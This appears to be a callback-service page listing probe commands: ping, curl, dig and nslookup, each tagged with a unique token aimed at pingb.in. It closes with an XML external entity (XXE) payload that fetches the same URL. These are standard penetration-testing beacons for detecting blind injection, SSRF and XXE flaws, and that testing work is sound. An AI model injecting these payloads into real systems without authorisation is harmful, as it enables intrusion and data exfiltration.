$ ping -c1 -p 00b3fad1726e6c24aa690485c8e54b00 pingb.in
 

$ curl pingb.in/p/b3fad1726e6c24aa690485c8e54b
 

$ dig b3fad1726e6c24aa690485c8e54b @pingb.in
 

$ dig b3fad1726e6c24aa690485c8e54b.ns.pingb.in
 

C:\> nslookup b3fad1726e6c24aa690485c8e54b pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b3fad1726e6c24aa690485c8e54b">]>
    <foo>&xxe;</foo>